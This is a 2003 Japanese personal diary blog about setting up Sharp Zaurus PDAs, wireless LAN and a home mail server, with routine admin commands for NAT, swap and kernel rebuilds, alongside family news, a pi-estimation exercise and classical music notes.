もう調べられたかも知れませんが、これはどうなのでしょう。ちなみに、このファイルは 3Mバイトくらいで、おうちでダウンロードすると 10秒もかかるのですが、どちらかさまのおうちでは、なんせ 5.6Mbpsもでるのですから、 5秒もかからないのでしょうね。←ホントにしつこい(^^;。
SL-C700 で実験
完全初期化を行ったときどうなるか分からないと、今後の運用に差し障りますので、 会社の SL-C700(おぃ)にて実験を行いました。まあ、どうせこれから、開発で何回も初期化が必要になるであろう、ということと、個人情報を消しておきたいという理由もあったりします。もちろん、これらは後付けの理由であって、ホントはどうなるか知りたかっただけです(^^;。
それで、結論を申し上げますと、初期アプリケーションは大丈夫でした。マニュアルの記述が良くなかったのですね。マニュアルを引用すると、
```
ご購入時にあらかじめインストールされてるアプリケーションやデータ、
ご購入後に...はすべて消去されます。
アップデートした本体システムは消去されません。
```
これだと、初期アプリケーションは消えると思いますよねぇ(^^;。
ちなみに「完全初期化」は、リセット後 OK ボタンを押しながら電源を入れるとモニターモードになり、そこのメニューで行うのです。アップデートも同様です。
いずれにしても、データのバックアップさえしっかりしておけば、過激なことも可能であることが分かりました(おぃおぃ^^)。
大失敗だった w3m のインストール(^^;
ザウルス SL-B500 に w3m をインストールしたのです。インストール自体はうまくいって、動作もそれなりに順調だったのですが、ザウルス系のとあるページに、

「w3m をインストールしてリセットすると、特定のアプリケーション が起動しなくなる場合があった」

という恐ろしい記述が(^^;。
むむむっ、確かに [libgc6.なんたら] も一緒にインストールということで、危ない意味はあるので、念のためにとリセットをして再起動したら、

本体が起動しません(=_=)
なんと届いて二日目で再起不能とは(涙)。マニュアルとかみると、緊急時の処置とか書いてあり、それをやってもだめ。完全初期化の方法とかも書いてあり、それだと復旧できそうなのですが、なんせ付属のアプリケーションも消えてしまい、しかも CD-ROM には、文庫ビューアーとか、ほとんど使わない本当に一部のアプリケーションしか入ってないと書いてあるのです。オイオイ CD-ROM には全部いれといてよ～。
libc と libgc の競合がらみの問題であることは間違いないので、 OS の再インストール(^^;をすれば復旧するであろうと思い、すでにバージョンアップでおなじみだったこちらからファイルをダウンロード。問題はどうやって SD に書き込むかですが、幸い SL-C700 が手元にあったので、そちらで書き込みました。
ってなことをやってたら、いつの間にか SL-B500 が起動していました。どうも、ライブラリー問題にて SD カードの認識のところで止っていたようです。
いずれにしても、手順書にそって SD カードから OS(てゆーかシステム)のアップデートをして、 w3m とその依存ライブラリーを全部アンインストールの後、念のためもう一度システム再インストールという手順をふみました。おそらく初期アプリケーションは、システムファイル群に全部含まれていると推測されますが、そうだとするとマニュアルの書き方が悪いですな。
いやはや、SL-C700 の方はともかく、自分用の SL-B500 はあんまりいじらない方がよいようです(^^;。
＃インストール用の OS(アプリも？) が入った SD なり CF を一枚準備
＃しておいたほうが安全かもしれません。

2003年3月22日(土)

タブレット
考えてみると、こっちからつっこんだ方が面白いですね(^^;。
それで、PC 化したタブレットよりも、タブレット機能に特化して、ネットワークで本体と繋げることが可能なものな方が良いと思うのですが。もちろん、画面の応答性の問題等がでると思うのですが、ネットワークインターフェースが 100BaseT なり IEEE803.11g ならなんとか使い物になる気がします。ただ X サーバー専用端末がいまいちであることを考えるとだめかも知れませんね。素人考えなのでいーかげんです(^^;。
よく考えてみると、タブレットのコストがほとんどなので、意味がないです(^^;。
10年後れの無線環境
なんとなく無線でのデータ─転送は、有線に比べて 10年位後れているかな、という気がします。10 年前といいますと、一般の人へインターネットが普及し始めたころで、電話代(テレホーダイ)とプロバイダー代と昼間の課金で、一月に大体 5,000円位かかって、速度も現在の AirH" 並だったと思います。もっともおうちは、当時悪名高き bekkoame(^^; だったのでもっと遅かったのですが(^^;。
10年前の LAN も不安定で、DOS や Windows3.1 では 10BaseT で実効伝送効率が 30% 程度でれば良い方だったはずです。これも今の IEEE802.11b とおんなじ感じです。

きっと 10年くらい経つと、屋内でも屋外でも、今の有線にかかる程度の費用で、現在程度の無線環境が構築できるのでしょう。
＃当時 DOS にネットワークドライバーを入れるのは「神業」のように
＃難しかったのです(^^;。
あんまりよくないザウルスリンク
SL 系の Zaurus(他の系列の似たようなものでしょうが)にはザウルスリンクという USB 接続で使用する機能があって、Zaurus のファイルシステムを Windows から見れたり(一種の samba ですな)、自動バックアップや Outlook との連携等それなりに便利そうな機能があるのです。
ところがなんかあんまり良くないのですね～。
USB 接続にはシリアルモードとネットワークモード(PPP の様なものです) というのがありまして、ネットワークモードだと、途中までバックアップしたところで必ず停止(-_-)。
途中まで動くのでアドレス違いということはありえないし。
シリアルモードだと、動くことは動くのですがちょっとねぇ。
そもそも、おうちにの Windows マシンはご家族さま用しかなくって、別の部屋に移動しなければ行けないし、USB のケーブルを繋ぐのに AC アダプターも繋げとマニュアルに書いてあるし、ケーブルの挿入口のゴムははずさなければいけないし、ホントに面倒なのです。
同等の機能が無線 LAN 経由でできればよいのですが、マニュアルを見る限りそういうおいしい機能はなさそうなのです。
むむむっ、バックアップは ssh や samba 経由で FreeBSD マシンに tar で固めた方がよいかも知れません。
＃いずれにしても転送方法を USB という物理層とデータリンクに
＃限定したのが設計ミスですな。
＃普通のネットワーク層にのみ依存する方式にすれば簡単だったはず。

2003年3月21日(金)

覚え書き
来週の月曜日は、とりあえずのつなぎに、ちっちゃい無線 LAN 基地局を会社にもってゆくこと。
イマイチ感の SL-C700
いまいち気に入りませぬ。
- なんかデザインが電子辞書っぽい。
- 解像度が 640x480 あるのが売りなのですが、どうせ字を大きくしないと読めない。
- 電池のもちが悪い。通勤時間が長いので大減点です。
- なんといっても自分のものではない。もうすぐ開発で内部をいじりまわす。
うーん、困ったものです(-_-)。
SL-B500
だから、欲しいだけ！。だけ～～～、だったのです。なのに、
思わず注文ボタンを(^^;。
それで、使い勝手ですが、ちょっと使った感じでは SL-C700 よりはるかに好みです。中身は、画面の解像度以外は SL-C700 と全くおんなじですからね。 WEB ブラウザも意外と見易いし、画面の一部分しか見えないのはあんまり気にならないです。画面書き込みの負荷が SL-C700 よりはるかに少ないので、動作もきびきび感があります。デザインもはるかによいですね。とりあえず通信の設定、 swap の設定と ssh のインストールを行いました。
キー入力をどのように行えば一番効率がよいかまだ不明です。
＃腰痛だいじょうぶですか～。

2003年3月20日(木)

biff になった二女(^^;
いや～、奧さまにメールしても、奧さまはケータイをもっていないので、すぐ読んでもらいたいときは、二女のケータイにメッセージを入れるのです。
う～～、わんわんわん(^^;。
壊れてしまった会社の AirStation
WLS-L11GWを会社でとある人に借りていたのですが、 WEP の設定をした瞬間につながらなくなりました。つながらなくなるのはあたりまえなのですが、 PC 側の WEP を設定しても動作しません。
もしかして、WEP キーを間違えたかと思い Ethernet の方から入ってもだめ。リセットをかけてもだめ。そもそも DIAG ランプが点灯しっ放しなのです。
うーむ、個人様のものなので困ってしまいます。それにしても、この機種は私の家でも購入後 3日で火を噴いたし、いまいち信頼性に問題があるのかも知れません。
ここの情報によると、AC アダプターの初期不良があるそうで、シリアルは該当しないのですが、メルコに連絡したら AC アダプターを送ってくれるそうです。対応は非常によろしい。

ホントに無線 LAN を使っているとねたには困りませぬな(-_-)。
全く分からない自宅 DNS の設定
わが家では動的 DNS を利用いたしまして evariste.dd.que.ne.jp という名前で自宅の IP アドレスが引けるので、自宅サーバーを運用できるのです。それでこんど、とある事情により、勉強も兼ねて local DNS を自宅で設定しようと考えているのですが

まったくわかりません

一番分からないのは、evariste.dd.que.ne.jp というのはうちのルーターの外側のグローバルアドレスに対応しているのでホスト名ということになるのでしょうが、ドメイン(少なくとも内部で使用できる)をどうすればよいかわからないのです。
dd.que.ne.jp では人様とかぶってしまうし(^^;。
似たような環境の人が設定ファイルで問題がない部分を見せて頂けるとうれしいのですが(^^;。
だけどとってもお忙しそうだし～。
いずれにしても DNS と MTA や WWW 関連はホントに苦手(要するに全部^^)なのですが、事情によりちょっと勉強しなけりゃならぬ。ふにゅ～(^^;。
それはそーと、[FreeBSD-users-jp 73822] なんてゆーのは、 SpamAssassin がちゃんと認識してくれますか。
めでたく動作しました。いつもながらありがとうございます。

2003年3月19日(水)

やっと動いたザウルス無線 LAN
昨日家に帰ったら GW-CF11H が届いてました。さっそくザウルスに入れて繋ごうとしましたが、

全然つながりません(-_-)

いやいや、いくらなんでもそんなことはと考えたら、平文無線状況なので基地局で MAC アドレスチェックをしていたのです(^^;。
とりあえずチェックをはずして接続。接続した(しなくてもよいが) 状態で「無線LAN検索」とすると MAC アドレスが自動的に表示され、それを許可リストに入れることができて便利なのです。
問題の WEP はどうかといいますと、これも 128bit で全く問題なし。やはりメルコのWLI-CF-S11G は相性問題があったのですね。やっとわが家も「安全」な無線環境に戻りました。
よく考えたら平文無線で基地局パスワードや WEP の設定を流したが、まあ～、大丈夫でしょう(^^;。
＃なんか一時的にファイルが変になってたようです。

2003年3月18日(火)

軌道修正
一年近く海外出張中以外毎日更新を続けてきましたが、最近さすがにねたに苦労することが多くなってきたのと、それよりも無理に何か書こうとすると、内容が荒れてきたり、書く内容が過激になったりして、人様に不快感を与えたりする場合もあって、はなはだよろしくないのです。
そういうわけで、今後は抜ける日ができたり、後になって書いたりする場合も許すことにします。極めてだらしない性格なので、一日でも抜けると、その後永久に書かなくなるのを恐れていたのですが、まあ大丈夫でしょう。
「更新なし」とか「特記事項なし」というのもよいかな(^^;。
ちなみに SL-C700 の電池は、初日は充電不足だったようで、普通に使えば 3時間程度もちます。個人的には SL-C700 はやはり個人の所有物でないし、ちょっと小さすぎて目が苦しいし、電池のもちもよくないので、 SL-B500 が欲しかったりします。←欲しいだけ。買うとはいってません(^^;。

2003年3月17日(月)

確定申告
今日が締め切り。全部奧さまがやってくれたの。愛してる～(^^)/。
GW-CF11H
メルコのWLI-CF-S11G は SL-C700 の確認リストにも載っていないし、実際相性が悪いという報告があるのでこれを注文。ちなみに WLI-CF-S11G は~~会社の~~ 会社の人が貸してくれた物品であります。
だけど、年頭の誓いはどうしちゃったのだろう(^^;。
別件ですが、無線 LAN は最初一見うまくゆくように見えるが、ある程度使い込むと山のように問題が出てくる場合が多いのだ～。
ふふふっ、日記ねたには困らないがな(^^;。

2003年3月16日(日)

SpamAssassin
これに関しては、こちらの方記事が面白いです。もちろん、こっちの記事もとっても面白いのです。
二女のケータイ
当然のごとく買うはめになりました。機種は au の A3015。お値段は 4,800円。
ちなみに半年前に 10,000円位で買った私の A1013Kは 980円で売っていました(^^;。
GPS 機能付きっていうのが、世界一の方向音痴のわたくしとしましてはうらやましかったりします。それで二女は世界で二番目の方向音痴なのです。
両方のケータイに家族割引が使えるので、思ったよりは安くすみそうです。
ただし、女子高生のケータイの使い方がいまいちわからないので、請求書が来ないといくらかかるか分からないですね。
メールは私と同様に、二女宛の(普通の)メールでフィルターを通ったものの先頭 128行位をケータイに転送する予定です。
＃こんどのケータイはメールアドレスを何回でも変更できます。
ご家族さまサポート
金曜日に奧さまから電話がかかってきて、ご家族様牛 PC が突然インターネットに接続できなくなったとのこと。それで、会社から自宅サーバーにログインして、牛に ping するとネットワークは動作している様なのです。うーん、どうしてだろ～。
そういえば...、木曜日にザウルスの設定をいちいち変えないですむように、自宅環境を会社の環境とおんなじ様に変更して、ルーターの内側アドレスを変更した記憶が(^^;。いやはや、牛さまのデフォルトゲートウェイの変更をすっかり忘れていました。
それで、自分も会社の Windows2000 の画面を見ながら変更方法を教えたのですが、電話だと説明が面倒ですなぁ。サポートの人って結構大変なのですね(^^;。
ネット接続業者に電子データ保存義務化　法務省方針
テロなどの犯罪を行う人たちは、平文でメールを流すようなまぬけなことをする訳がないのあり、実際には一般国民の監視に使用するのに違いないのです。
通常の用途でも IPsec を使用することと、メールの PGP 暗号化をデフォルトにすることを真面目に考える時期かも知れません。
国家の監視から極力逃れるためには、データのやりとりは個人同士で(通信路以外は)プロバイダーを通さずに行うのが良いのであり、そのためには IPv6 の普及が急務なのです。
寝転びザウルスをしたいがために、自宅の無線を平文にバージョンダウンして偉そうなことをかけませぬな(^^;。

2003年3月15日(土)

101人コンサートもとい 101番
整理番号が 101番なのです。各種情報(^^;を整理すると、振り込み分は 100番または 101番開始で 107番が最後(嘘)であると思われます。奧さまに郵便局が始まる直後に振り込んでとお願いしてあったので、おそらく振り込み分は抽選ではなく 100番または 101番開始のタイムスタンプ順なのでしょう。いや～、この３週間全く落ち着かない日々でありました(^^;。
MoonSong
一昨日届いていました。ちょっと一昨日は読む気分でなかったので、昨日じっくり読ませて頂きました。スタッフの皆様お疲れさまでした。それから、いろいろお世話になるとともに、ご迷惑をおかけしました。どうもありがとうございます。
Zaurus SL-C700 の壁紙
SL-C700 はふたを一回転させると、キーボードなしの縦形のモードにできるのですが、そのとき問題になるのが壁紙。
だれかさまのデュアルディスプレイが２枚表示可能な様に(^^;横長と縦長の壁紙が設定できればよいのですが、残念ながらできない様です。
640x480 の壁紙の場合、縦モードで使用するとき下が切れてしまうのです。
なにかよい方法はないのかなと探していたら、

横は左上から640x395、縦は 480x555が表示される

そうで、およそ 640x555 程度の画像を準備すればよいらしいです。
続・リンク
おやおや、リンクの許可伺いをだしなさいとゆーてるのは、読売や産経だけではないんだ。みんなが許可伺いを出したら、どんな混乱が生じるかの想像力もない人が新聞の記事を書くというのも恐ろしいですね。

2003年3月14日(金)

覚え書き
今日はホワイトデイ。万が一お菓子を買うのを忘れてしまったら大変大変(^^;。
↑忘れた(^^;。
ザウルスの無線 LAN
色々な実験の結果、WLI-CF-S11G の場合暗号化すると不安定になります。暗号化しないと極めて良好です。腐ってますな(-_-)。他のカードではどうなのだろう。
平文無線 LAN の考察
無線を全部盗聴されたと仮定して、なにがおこるかの考察。
まず自宅。
- X24 と R30 間はすべて ssh なので大丈夫。
- メールのパスワードは APOP なので大丈夫。内容は読まれてしまう。
- ルーターや、無線 LAN のメンテナンスは無線で行うのでまずい。
次に会社。
- X24 のメールの送受信は ssh トンネルを使用しているので大丈夫。
- ザウルスの Web 閲覧、メール送受信はまずい。ただし Web 閲覧は見られても困らないし、メールの送受信は AirH" で必要なのであり、無線 LAN の状態では必要ない。
- 実際の開発で NFS 等をザウルスと X24 や Linux 間で使用する場合まずいかも。
たいしたことないですね(^^;。あまり好きではないのですが、こうゆう場合 IPsec が使えたらよいなあ。
ssh をいれたので、トンネルを使用すれば大体は暗号化できるでしょう。あとはとりあえず mule と w3m をいれたい。

2003年3月13日(木)

覚え書き
明日はホワイトデイ。万が一お菓子を買うのを忘れてしまったら大変大変(^^;。
ザウルスと PC の接続
Windows または Linux(まだやってない) に USB 接続を行うと、 USB が疑似ネットワークインターフェースとなり TCP/IP 接続が可能です。これで Windows から telnet で入れるようになったのでだいぶ楽です。ただし、USB でいちいちつなぐのは面倒なので、 WLI-CF-S11G が欲しいところですな。ねころびザウルスが可能になります(^^;。

社内かがみ LAN

どの会社に入っても NAT の NAT が好きですな。


           | 192.168.XXX.5(default gateway to Internet)
------------------------------------------------------- 192.168.XXX.0(有線)
      | fxp0(139)       |eth0(140)          |ether(141)
      |                 |                   |
      | FreeBSD(X24)    |Linux(NAT)         |Windows2000
      |                 |                   |
      | wi0(101.183)    |eth1(101.140)      
--------------------------------------------------------192.168.101.0(無線)
             |192.168.101.185               |192.168.101.2(基地局)
             |Zaurus(WLI-CF-S11G^^)         |AirStation WLS-L11GW

それで Linux を NAT 化するには、

# echo 1 >/proc/sys/net/ipv4/ip_forward # insmod ip_tables # iptables -t nat -A POSTROUTGING -o eth0 -j MASQUERADE

強烈な一休み現象で悩みましたが、ハブを交換したら解消しました(^^;。

いまいち安定しませんな(-_-)。おうちではどうなるのだろう。

なぜかチャネルを 11 から 2 に変更したら安定動作しました。うーむ、無線 LAN って不思議(^^;。
だけど、ACアダプターがつながっていないと全然だめです。いまいちですなぁ。

2003年3月12日(水)

埼玉
今日は久し振りに埼玉で作業です。
ザウルス SL-C700
買いました。5万円なり。もちろんそんなお金があるわけなくって、これで動作する組み込みっぽいアプリケーション開発の研究用として会社での購入です。
まあ普段は私物化できるので、せいぜい AirH" を有効に使いましょう(^^)。
使用感はしばらく使ってなれたら。ケータイのパケット割り引きは解約です。
ちなみに、例のごとくザウルス用の新アカウントを自宅でつくりまして、 kagami@evariste.que.ne.jp へのメールでフィルターを通過したものはザウルスのメール箱に転送されます。自宅サーバーって本当に融通がきくのです。
壁紙はメールの添付で送り込んでやれば、簡単に設定できます。
＃開発用なので、いつ吹っ飛ぶか分からないのです。
＃重要なデータをいれるのは無理です。
意外ともたないザウルスの電池
一晩充電して、AirH" もまめに止めたはずなのですが、1.5～2時間位しかもちません。しばらくするとよくなるのだろうか。
それから 128M バイト SD カードを衝動買い。こんどは自分のお金です(^^;。
マニュアルによるとネットワークにつながないで、書き物程度の使用方法で 4時間半程度、AirH" の連続使用で 1時間40分位と書いてあるので、こんなものなのかも知れませんね。ノート PC よりもたないのですね。てゆーか、ノート PC にとって AirH" の電力が誤差の様なものなのに対して、ザウルスの電池に対して、AirH" は相対的に高負荷なのですね。
もうすこし筐体が大きくてもよいので、電池がもったほうがうれしい。

覚え書き

SD カード領域の一部をスワップにする方法。

--------------------------------------------------------------------------
/mnt/card に適当なサイズ(今回は 32M)のファイルを作成する swapfile とする。

# mkswap /mnt/card/swapfile
# swapon /mnt/card/swapfile
# cat /proc/swaps  で確認可能

これでよいのですが、恒久的に使用するには、

------------------------------------------
[/etc/rc.d/rc.swap]
#!/bin/bash
if [ -e /mnt/card/swapfile ]; then
    /sbin/mkswap /mnt/card/swapfile
    /sbin/swapon /mnt/card/swapfile
fi
exit 0
------------------------------------------

なるファイルを作成。

# cd /etc/rc.d
# chmod a+x rc.swap
# cd rc5.d
# ln -s ../rc.swap S50swap
--------------------------------------------------------------------------

こちらを参考にしました。

2003年3月11日(火)

卒業式
今日は二女の卒業式。やれやれという感じです。
「あしたでおわりか～」とゆっていますが、そういえば中学卒業の時が一番感慨深いものがありました。
ちなみに中学卒業の分際で、夕方みんなで食事会をやるそうな(^^;。
会社で無線 LAN
会社にメルコの WLS-L11GW( おうちのとおんなじ^^)があって、使ってもよろしいとの許可が出ましたので、自分専用の無線 LAN 環境が作れました。自分の家だとちょっと部屋を変わると無線環境が悪くなるのですが、さすがに会社ですと、アンテナなしでも非常に遠くまで電波が届きます。
やっぱりマンションってネットワークに関して本当に条件が悪いのね(^^;。
いずれにしても、これで激とろ AirH" に切り替ないでも会社の中をうろつけます。

2003年3月10日(月)

ご家族さまメールアドレス移動大作戦
いよいよ今週の土曜日に、二女のケータイを買う約束をしてしまいました。女子高生には必須のアイテムなので仕方がないのですが、通信費が家計を圧迫しますな(-_-)。
それで、スパム等を防ぐために、メールに関してはなるべく二女の「普通」のメールアドレス経由で携帯に送るようにしたいのです。つまり自宅サーバーでスパムをブロックするわけです。それで昨日の作業。
- レンタルサーバーにあったメールアドレスに来たメールを自宅サーバーに転送。今までご家族様は、 POP で直接レンタルサーバーに取りにいってたのです。
- 自宅でご家族さまのアカウントを作成。二女の希望でエイリアスも作成。このあたりが自宅メールサーバーのよさで、エイリアスまたは独立に、実質無限のメールアドレスがもてるのです。
既存のメールアドレスに来たメールも自宅に流れるので、変更通知を急いで出す必要がないのもよいところです。
ところが、Windows2000 をメーラーの設定をして、自宅サーバーの qpopper にいくらアクセスしてもリジェクトされるのです。それで、localhost じゃないとだめなのかな～と思い、Windows2000 から私のアカウントで取りに行くと問題ないのです。ちなみに、私は qpopper にアクセスするときいつも ssh トンネルを利用しているので、qpopper はローカルホストからのアクセスと思っているのです。
30分くらい綴り間違いとか調べても全然だめで、さすがに致命的な勘違いをしていると思い、色々サーバーのログや man を眺めていたら qpopauth というプログラムがあったのです(^^;。
いや～、やっぱり勘違い。/etc/passwd でのパスワードで認証だとばっかり思ってましたが、qpopper 独自のパスワード認証だったのです。そういや前に自分のアカウントを作るときに使った記憶が...(^^;。

うーむ、こんな簡単なことを見落とすとは、やはり年ですなぁ(^^;。

覚え書き

IPv6 関連の RFC のリスト

Linux の kernel 再構築の手順。

  # cd /usr/src/linux
  # make mrproper   -- kernel に patch をあてた場合
  # make menuconfig
  # make dep        -- 忘れた(^^;
  # make clean      -- 忘れた(^^;
  # make bzImage
  # make modules
  # make install
  # make modules_install
  /etc/grub.conf 編集
  # /sbin/mkinitrd /boot/initrd-versionXXX.img versionXXX

ってゆー感じ。 S さんよりつっこみがあり修正(^^;。

2003年3月9日(日)

二女のアルバイト
長女は某ハンバーガ店でアルバイをしていたのですが、二女は音楽教室(モカがピアノとドラム、私がドラムをならってるとこ)でアルバイトさせてもらうことになりました。男の先生(ドラムとエレクトーン) が一人と、女性の先生(ピアノ)が一人の教室です。なんとなく AQ さんと谷山さんの関係の様な雰囲気があったりします(^^;。
ご存じの様に、音楽関係の仕事というのは、音楽そのものよりも、もの運びの肉体労働の方が多い場合もあったりします(^^;。
そういうわけで、もの運び等のアルバイトは必須なのですが、その他、録音とか、ミキシング等の作業もだんだん教えてもらえる様です。
親としては、非常に安心ですし、色々指導して頂いてアルバイト料までもらえるので、こんなにうれしいことはありません。家から 3分という近さも安心できるところです。
ircd チャットサーバー
二女が友達とチャットをしたいとゆうので、自宅サーバーに評価用ということで ircd というチャットサーバーをインストールしました。なんか FreeBSD の ports からインストールすると全然動かないので、 tar boll を拾ってきて自分で configure && make を行いました。
一応ちゃんと動作するようです。ただし Emacs 上での irchat で試しただけなので、 Windows クライアントでも確かめる必要があります。
やっとできた自宅の Shift-JIS 化
PHP4 の設定ではまっていて、てゆーか設定の必要性がわかっていなくて(^^;、全然動かなかった携帯用自宅の Shift-JIS 化ですが、やっと動作しました。いろいろと教えてくださりありがとうございます。

2003年3月8日(土)

続・円周率
某氏から指摘されましたが、内接正8角形ではなく、内接正12角形で計算した方がはるかに楽です。内接正12角形の場合 sin(PI/12) の評価が必要ですが、この値は、

(sqrt(6) - sqrt(2))/4

となり値を評価しやすいのです。もちろん、きちんと不等式による値の下限を評価する必要はあります。例えば、

2 < 1.415*1.415 なので sqrt(2) < 1.415

いずれにしても、昨日書いた方法よりはるかに計算が楽ですし、12角形の方が少ない有効精度で PI > 3.05 を証明できるのです。
うーむ、こんな簡単なことを見落とすとは、やはり年ですなぁ(-_-)。
bmp のフォーマット
ご存じの方も多いかと思いますが、bmp というのは、ファイルの先頭の方に一番下のビットマップが格納され、後ろにいくに従って上の方のビットマップが格納されています。下から上に向かってデータ─が格納されているのです。慣習的に(感覚的に)、画像は上の方から表示するのが普通ですし、「VRAM のアドレスの増加方向に表示する」という分かりやすさもあるので、よく「どうしてこんなへんてこなことをしたのだろう」と言われるフォーマットですし、私も JPEG との変換等で不便な思いをすることが多いのです。
ただし、bmp のフォーマットを作った人の考えはなんとなく分かるのです。
数学屋さんからみると、bmp ではなくディスプレイの座標系の方が 上下逆なのです(^^;。おそらく、ディスプレイ等で慣習的に使われている「誤った」座標系を正しい方向に修正しようと考えたのだと思います。もちろん座標系に「正しい」も「誤った」もないのですが、上から下に増えて行く座標系はグラフ等を表示するときに、いつも y-座標の符号を反転する必要があったりして、とってもわずらわしいのです。左下の座標が(0,0)ならばどんなに楽だったか(^^;。
そんな訳で、bmp フォーマットを考えた人には共感しないではないのですが、不便なことは否めませんね。
極悪 bmp ページ
お願いして作って頂いて、信じられない失礼な題名です(^^;。
それで bmp のサイズは png のサイズの 3 倍から 5倍程度で、おうちの 1.5M バイト時代の 800Kbps という ADSL の速度と、現在の 2.5Mbps という激速(涙)との比とあんまり違わないです。ダイアルアップ時代の JPEG と比較しても、今の bmp 方がはるかに高速です。
ちなみに、現行の普通の PCI のバス性能では、ギガビットイーサネットは、サーバーに負荷が集中する状況で、サーバーのみに取りつけるのでないと意味がないでしょうね。

2003年3月7日(金)

Netscape の壁紙
最近は、たまに家の Windows2000 を使う、てゆーか Netscape と Tera Term だけですが、場合もあるのです。前にも書きましたが家族全員のアカウントが登録してありまして、各自がログオンし直せば壁紙なんかもその人のものになるのです。
ところが例のごとくチャチャさまを壁紙にすると、子供達から壁紙が勝手にチャチャになったと苦情(失礼^^;)が出る場合があるのです。
調査した結果つぎの事実が判明しました。
- 普通にデスクトップ等の画面のプロパティーで壁紙を設定した場合、他人の壁紙は変化しない。
- Netscape 7.X を使用して(これしかやってないが)画像上で右クリックして「壁紙に設定」とすると、他人の壁紙も変化してしまう。
というわけで、毎回手作業でダウンロードして bmp に変換してあげないといけないようです。おっきい壁紙はよいのですが、ちっちゃい壁紙は...難しいんでしょうね(^^;。
Windows2000 などクライアントとしての安定感はなかかかよく、わりと好き(嫌いではない^^;)なのですが、ユーザー管理やセキュリティーポリシーが全然分からないのが難点です。
いやはや、本当に作って下さるとは(^^)。
ちなみに Netscape 7 でも bmp は表示可能です。
東大の円周率
最近東大入試で「円周率は 3.05 より大きいことを証明せよ」という問題が出たそうです。
もちろん文部省様の「円は正6角形である」という偉大なる新理論に対する皮肉なのです。
問題としては極めて容易で、半径 1 の円に内接する正8角形の周長を考えますと、一辺の長さが、2*sin(PI/8) で、辺が 8 つなので 16*sin(PI/8) となり結論から言いますと 6.1 より大きく、半分で 3.05 より大きいのです。問題は sin(PI/8) の評価ですが、半角の公式(忘れた、もぞもぞ^^)により、

sin(PI/8) = sqrt((1-cos(PI/4))/2)

ここで cos(PI/4)=sqrt(2)/2 ですが sqrt(2) を 1.414... と展開してしまうと面倒なことになるし、きちんと誤差評価を行わないと減点される恐れがあります。えーっと、

x = sqrt((1-cos(PI/4))/2) とすると
x^2 = (1-cos(PI/4))/2.
cos(PI/4)=sqrt(2)/2 で 1.415*1.415 > 2 なので sqrt(2) < 1.415.
x^2 = (1-cos(PI/4))/2 > (1-1.415/2)/2 = 0.14625 .
紙の裏でこっそり開平計算をして
0.14625 > 0.3824*0.3824 なので、x > 0.3824.
8 倍して 3.0592. あー面倒だった(^^;。

というわけで、開平の数値計算くらいちゃんと出来ないとだめですよ！という意味の問題ですね。そもそも今の人って、二桁づつ区切ってやる開平計算ってどの位知っているのだろうか。
8角形でやるか 12角形でやるかも迷うところですが、本番では安全を期して、 12角形で解くかもしれません。しかし現役の頃は、こんなの計算機なしで、あっという間に解けたと思うのですが、今は計算機を使っても...(^^;。

2003年3月6日(木)

うーん
死亡中(-_-)。でも、穴が発見された sendmail は入れ替え。無理してでも会社にはゆく予定。
朝の熱が 37度5分。会社到着。一日うだうだやるしかないですな(-_-)。
わからない
例えばここに花粉の飛散ランクというのがあって、「個数は１平方センチあたり」と書いてあるが、どうして面積なのだろう。わからないのです。
花粉症の症状は少しはあるのかもしれないのですが、幸い軽微なのです。
もしかして、無限に高い 1 平方センチの塔を考えて、その中の花粉の個数なのかな。
教えて下さった方がおりまして、スライドガラス等を利用して、１平方センチに一日で何個落ちてきたかの概算を計測するそうです。一日雨量の個数版という雰囲気ですが、雨の場合「基本的に全部落ちてくる」のでしょうが、花粉の場合どの位落ちてくるのでしょうか。いずれにしても、数量の大小には意味があるということですね。どうもありがとうございます。
かがみハッシュ関数
次のようなデータ─構造があるとします。

x1,x2,...,xn という対象に整数の重み付け u1,u2,...,un が対応している。
ただし n は余り大きくならないとする。

例えば文字列など i 番目の文字を xi として、その(例えばアスキー) コードを ui とすれば上記のデータ─構造にあてはまります。
また、n 個の商品から適当に選択して買い物をする場合のデータ構造にもあてはまります。重みは買った個数です。

そこで、この様なデータのハッシュ値を求めたいのですが、 p(i) を i 番目(i は 1 から^^)の素数とします。それで、

p(1)^u(1) * p(2)^u(2) * ... * p(n)^u(n)

を考えます。これは素因数分解の一意性により、値が重複することはありえません。重複が発生しないという意味での最良ハッシュではあります。
ただし、現実には値が大きくなりすぎますので、p(i)<q なる素数 q を一つ固定して、

p(1)^u(1) * p(2)^u(2) * ... * p(n)^u(n) (mod q)

をハッシュ値としようと考えて実験してみたのです。適当な modulo での巾乗計算は十分高速に可能なので、上記の計算自体は比較的高速です。それでデータ─のばらつきをながめると、2 から q-1 の範囲でかなりよくばらついている感じがするのですが、理論的にはどの様な分布になるのでしょうね。このあたりは全然見当もつかないのであります。
実用的には問題なさそうなのでちょっと使ってみます。素数がたくさんでてきてなんとなくうれしいし(^^;。

2003年3月5日(水)

お休み
今日は寝過ごして、それでも家を出たが、こんどは電車で目が覚めたら新宿(^^;。しかも熱が出てきて極端に体調が悪いのです。会社に連絡してこのまま帰宅です。
＃極端なローカルねたですが、澱循環一回りみたいなもんですな(-_-)。
＃家に到着。38度5分～。←こんなこと書いてるなって(^^;。
もしかして
ここに売り切れというアナウンスが出ませんね。2月26日に振り込んだので、もしかして取れるかも。油断はできませぬが。
クリスチャン・ツィメルマン
ツィメルマンは 1975年ショパンコンクール一位のピアニストです。実はその年二位だった旧ソ連の女性ピアニスト、ディアナ・ヨッフェよりも劣っているのではないかと色々言われたのですが、当時わたしがラジオで聴いた一位記念演奏は (アンダンテスピアナートと大ポロネーズ)、喜びにあふれた素晴らしい演奏だったと記憶しております。今では世界最高のピアニストの一人です。
それで、倉敷公演が予定されている様です。

曲目がとてもよいのです。ブラームス小品集はとても美しいし、ベートーベンのピアノソナタ31番(作品 110)は、ピアノのために書かれた音楽というよりも、西洋古典音楽の最高傑作の一つです。特に 3楽章のフーガはこの世のものとは思えないほどの美しさなのです。
ショパンのピアノソナタ3番もよいですね。ショパンの大曲は様式上の問題がある場合も多いのですが、このソナタは最初から最後まですばらしい集中力が持続します。特に2楽章の夢のような美しさ、3楽章の凝縮された集中度はとても感動的です。
こちらの方面がお好きならばぜひどうぞ。もちろん単なる情報なので、興味がなければ読み捨てて下さりませ。
＃神奈川でも公演があるのですが、曲目が未定の様です。

2003年3月4日(火)

いまいちだった 12M
結論を言いますと 8Mbps から 12Mbps に変更して、モデムの進歩の分でリンク速度が 1.3 倍程度になりましたが、プロトコルの変化は全く効果がありませんでした。やはり、減衰 43db ではリンク速度 3Mbps が限度の様です。果してこれで工事費とルーター 8,000円程度の出費の価値があったのか。散財だったかも～(^^;。
